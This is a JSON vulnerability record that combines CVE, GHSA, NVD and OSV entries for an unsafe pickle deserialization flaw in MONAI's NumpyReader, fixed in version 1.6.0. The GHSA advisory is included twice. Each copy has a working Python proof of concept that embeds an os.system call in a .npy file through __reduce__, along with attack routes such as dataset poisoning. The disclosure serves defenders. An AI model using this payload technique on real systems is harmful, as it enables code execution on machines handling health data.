{"id":"CVE-2026-100845","aliases":["EUVD-2026-87843","GHSA-4jj3-3266-2688","GHSA-wg9g-w2j2-8pgr","PYSEC-2026-4020"],"status":"published","title":"MONAI before 1.6.0 Remote Code Execution via NumpyReader","description":"MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.","severity":{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00203,"percentile":0.10359,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-502"],"published":"2026-08-18T20:22:42Z","modified":"2026-10-28T02:30:55Z","fixes":[{"ecosystem":"PyPI","package":"monai","fixed_in":["1.6.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"monai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"monai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.0"}]}],"versions":["0.0.1","0.1.0","0.2.0","0.3.0","0.4.0","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","1.0.0","1.0.1","1.1.0","1.2.0","1.3.0","1.3.1","1.3.2","1.3.2rc1","1.3.3rc1","1.4.0","1.4.0rc1","1.4.0rc10","1.4.0rc11","1.4.0rc12","1.4.0rc2","1.4.0rc3","1.4.0rc4","1.4.0rc5","1.4.0rc6","1.4.0rc7","1.4.0rc8","1.4.0rc9","1.4.1rc1","1.5.0","1.5.0rc1","1.5.1","1.5.2","1.5.2rc1"]},{"source":"osv","ecosystem":"PyPI","package":"monai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.0"}]}],"versions":["0.0.1","0.1.0","0.2.0","0.3.0","0.4.0","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","1.0.0","1.0.1","1.1.0","1.2.0","1.3.0","1.3.1","1.3.2","1.3.2rc1","1.3.3rc1","1.4.0","1.4.0rc1","1.4.0rc10","1.4.0rc11","1.4.0rc12","1.4.0rc2","1.4.0rc3","1.4.0rc4","1.4.0rc5","1.4.0rc6","1.4.0rc7","1.4.0rc8","1.4.0rc9","1.4.1rc1","1.5.0","1.5.0rc1","1.5.1","1.5.2","1.5.2rc1"]}],"products":[{"vendor":"project-monai","product":"monai"}],"references":[{"url":"https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-wg9g-w2j2-8pgr","tags":["vendor-advisory","exploit","Exploit","Vendor Advisory","advisory","web","evidence"]},{"url":"https://www.vulncheck.com/advisories/monai-before-1.6.0-remote-code-execution-via-numpyreader","tags":["third-party-advisory","Third Party Advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100845","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4jj3-3266-2688"},{"url":"https://github.com/Project-MONAI/MONAI/pull/8875","tags":["web"]},{"url":"https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-wg9g-w2j2-8pgr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/100xxx/CVE-2026-100845.json","tags":["advisory"]},{"url":"https://github.com/Project-MONAI/MONAI","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-100845","title":"MONAI before 1.6.0 Remote Code Execution via NumpyReader","description":"MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.","status":"published","published":"2026-09-27T01:28:40.337Z","modified":"2026-09-28T13:56:50.879Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:20:06.925367Z"}],"euvd":[{"id":"EUVD-2026-87843","description":"MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.","status":"published","published":"2026-09-27T01:28:40Z","modified":"2026-09-28T13:56:50Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T17:27:53.425914Z"}],"ghsa":[{"id":"GHSA-4jj3-3266-2688","title":"MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that...","description":"MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.","status":"published","published":"2026-09-27T03:31:04Z","modified":"2026-09-27T03:31:05Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:12:30.689958Z"},{"id":"GHSA-wg9g-w2j2-8pgr","title":"MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files","description":"### Summary\n\nThe `NumpyReader` class in `monai/data/image_reader.py` unconditionally uses `np.load(name, allow_pickle=True)` (line 1276), enabling arbitrary code execution when loading a crafted `.npy` or `.npz` file. This affects all MONAI versions up to and including the latest commit (5b71547). The `allow_pickle` parameter is hardcoded to `True` and cannot be overridden by the user (the docstring explicitly states kwargs are accepted \"except `allow_pickle`\").\n\n### Details\n\n**Vulnerable code** ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/image_reader.py#L1276)):\n\n```python\n# monai/data/image_reader.py, line 1276, in NumpyReader.read()\nimg = np.load(name, allow_pickle=True, **kwargs_)\n```\n\nThe `NumpyReader` is automatically selected by MONAI's `LoadImage` transform for any file with `.npy` or `.npz` extension (see `monai/transforms/io/array.py` line 68: `\"numpyreader\": NumpyReader`). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.\n\nThe `allow_pickle=True` parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the `__reduce__` method.\n\n**Compare with safe practices in the same project:**\n\nThe MONAI project has already addressed similar deserialization issues in other code paths:\n- `torch.load` calls now use `weights_only=True` (after GHSA-6vm5-6jv9-rjpj)\n- `PersistentDataset` defaults to `weights_only=True` (line 272-275 of dataset.py)\n\nHowever, `NumpyReader` was not included in these security improvements.\n\nAdditionally, the `NPZDataset` class in the same project correctly uses the default `allow_pickle=False` ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/dataset.py#L1433)):\n\n```python\n# monai/data/dataset.py, line 1433 — safe usage\ndat = np.load(npzfile)  # allow_pickle defaults to False\n```\n\nThis inconsistency shows that `NumpyReader` was overlooked during security hardening.\n\n**The user cannot override this behavior:**\n\n```python\n# monai/data/image_reader.py, line 1233 (docstring)\n# kwargs: additional args for `numpy.load` API except `allow_pickle`.\n```\n\nThe hardcoded `allow_pickle=True` on line 1276 overrides any user attempt to set it via kwargs.\n\n**Data flow:**\n\n1. User creates a data pipeline with `LoadImage` transform or uses any MONAI dataset class\n2. A `.npy` or `.npz` file is provided as input (e.g., as part of a shared medical dataset)\n3. `LoadImage` selects `NumpyReader` based on file extension\n4. `NumpyReader.read()` calls `np.load(name, allow_pickle=True)`\n5. Malicious pickle payload in the `.npy` file executes arbitrary code\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: RCE via NumpyReader allow_pickle=True in MONAI\"\"\"\nimport os\nimport tempfile\nimport numpy as np\n\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (os.system, ('echo \"MONAI NumpyReader RCE - Code executed\" \u003e /tmp/monai_rce_proof.txt',))\n\ntmpdir = tempfile.mkdtemp(prefix=\"monai_poc_\")\nmalicious_npy = os.path.join(tmpdir, \"malicious_mask.npy\")\nnp.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)\n\n# With MONAI installed:\nfrom monai.data.image_reader import NumpyReader\nreader = NumpyReader()\ndata = reader.read(malicious_npy)\n\n# Verify RCE\nproof = \"/tmp/monai_rce_proof.txt\"\nif os.path.exists(proof):\n    print(f\"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}\")\n    os.remove(proof)\n\nos.remove(malicious_npy)\nos.rmdir(tmpdir)\n```\n\n**Output:**\n```\n[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed\n```\n\n### Impact\n\nAn attacker can achieve arbitrary code execution on any machine running MONAI by:\n\n1. **Dataset poisoning**: Placing a malicious `.npy` file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.\n\n2. **Supply chain attack**: Contributing a malicious `.npy` file to a MONAI tutorial, example, or bundle that other users download and run.\n\n3. **Lateral movement in medical environments**: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.\n\nThis is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).","status":"published","published":"2026-08-18T20:22:42Z","modified":"2026-08-18T20:22:43Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:41:03.602876Z"}],"nvd":[{"id":"CVE-2026-100845","description":"MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.","status":"published","published":"2026-09-27T02:17:23.14Z","modified":"2026-09-30T15:25:51.697Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:12:52.081323Z"}],"osv":[{"id":"CVE-2026-100845","title":"MONAI before 1.6.0 Remote Code Execution via NumpyReader","description":"MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.","status":"published","published":"2026-09-27T01:28:40.337Z","modified":"2026-10-28T02:30:55.758328787Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:44:53.83521Z"},{"id":"GHSA-wg9g-w2j2-8pgr","title":"MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files","description":"### Summary\n\nThe `NumpyReader` class in `monai/data/image_reader.py` unconditionally uses `np.load(name, allow_pickle=True)` (line 1276), enabling arbitrary code execution when loading a crafted `.npy` or `.npz` file. This affects all MONAI versions up to and including the latest commit (5b71547). The `allow_pickle` parameter is hardcoded to `True` and cannot be overridden by the user (the docstring explicitly states kwargs are accepted \"except `allow_pickle`\").\n\n### Details\n\n**Vulnerable code** ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/image_reader.py#L1276)):\n\n```python\n# monai/data/image_reader.py, line 1276, in NumpyReader.read()\nimg = np.load(name, allow_pickle=True, **kwargs_)\n```\n\nThe `NumpyReader` is automatically selected by MONAI's `LoadImage` transform for any file with `.npy` or `.npz` extension (see `monai/transforms/io/array.py` line 68: `\"numpyreader\": NumpyReader`). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.\n\nThe `allow_pickle=True` parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the `__reduce__` method.\n\n**Compare with safe practices in the same project:**\n\nThe MONAI project has already addressed similar deserialization issues in other code paths:\n- `torch.load` calls now use `weights_only=True` (after GHSA-6vm5-6jv9-rjpj)\n- `PersistentDataset` defaults to `weights_only=True` (line 272-275 of dataset.py)\n\nHowever, `NumpyReader` was not included in these security improvements.\n\nAdditionally, the `NPZDataset` class in the same project correctly uses the default `allow_pickle=False` ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/dataset.py#L1433)):\n\n```python\n# monai/data/dataset.py, line 1433 — safe usage\ndat = np.load(npzfile)  # allow_pickle defaults to False\n```\n\nThis inconsistency shows that `NumpyReader` was overlooked during security hardening.\n\n**The user cannot override this behavior:**\n\n```python\n# monai/data/image_reader.py, line 1233 (docstring)\n# kwargs: additional args for `numpy.load` API except `allow_pickle`.\n```\n\nThe hardcoded `allow_pickle=True` on line 1276 overrides any user attempt to set it via kwargs.\n\n**Data flow:**\n\n1. User creates a data pipeline with `LoadImage` transform or uses any MONAI dataset class\n2. A `.npy` or `.npz` file is provided as input (e.g., as part of a shared medical dataset)\n3. `LoadImage` selects `NumpyReader` based on file extension\n4. `NumpyReader.read()` calls `np.load(name, allow_pickle=True)`\n5. Malicious pickle payload in the `.npy` file executes arbitrary code\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: RCE via NumpyReader allow_pickle=True in MONAI\"\"\"\nimport os\nimport tempfile\nimport numpy as np\n\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (os.system, ('echo \"MONAI NumpyReader RCE - Code executed\" \u003e /tmp/monai_rce_proof.txt',))\n\ntmpdir = tempfile.mkdtemp(prefix=\"monai_poc_\")\nmalicious_npy = os.path.join(tmpdir, \"malicious_mask.npy\")\nnp.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)\n\n# With MONAI installed:\nfrom monai.data.image_reader import NumpyReader\nreader = NumpyReader()\ndata = reader.read(malicious_npy)\n\n# Verify RCE\nproof = \"/tmp/monai_rce_proof.txt\"\nif os.path.exists(proof):\n    print(f\"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}\")\n    os.remove(proof)\n\nos.remove(malicious_npy)\nos.rmdir(tmpdir)\n```\n\n**Output:**\n```\n[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed\n```\n\n### Impact\n\nAn attacker can achieve arbitrary code execution on any machine running MONAI by:\n\n1. **Dataset poisoning**: Placing a malicious `.npy` file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.\n\n2. **Supply chain attack**: Contributing a malicious `.npy` file to a MONAI tutorial, example, or bundle that other users download and run.\n\n3. **Lateral movement in medical environments**: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.\n\nThis is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).","status":"published","published":"2026-08-18T20:22:42Z","modified":"2026-10-01T09:25:45.077960803Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:58.767335Z"},{"id":"PYSEC-2026-4020","description":"MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.","status":"published","published":"2026-09-27T02:17:23.14Z","modified":"2026-10-01T09:15:05.302517614Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:57.255153Z"}]}}
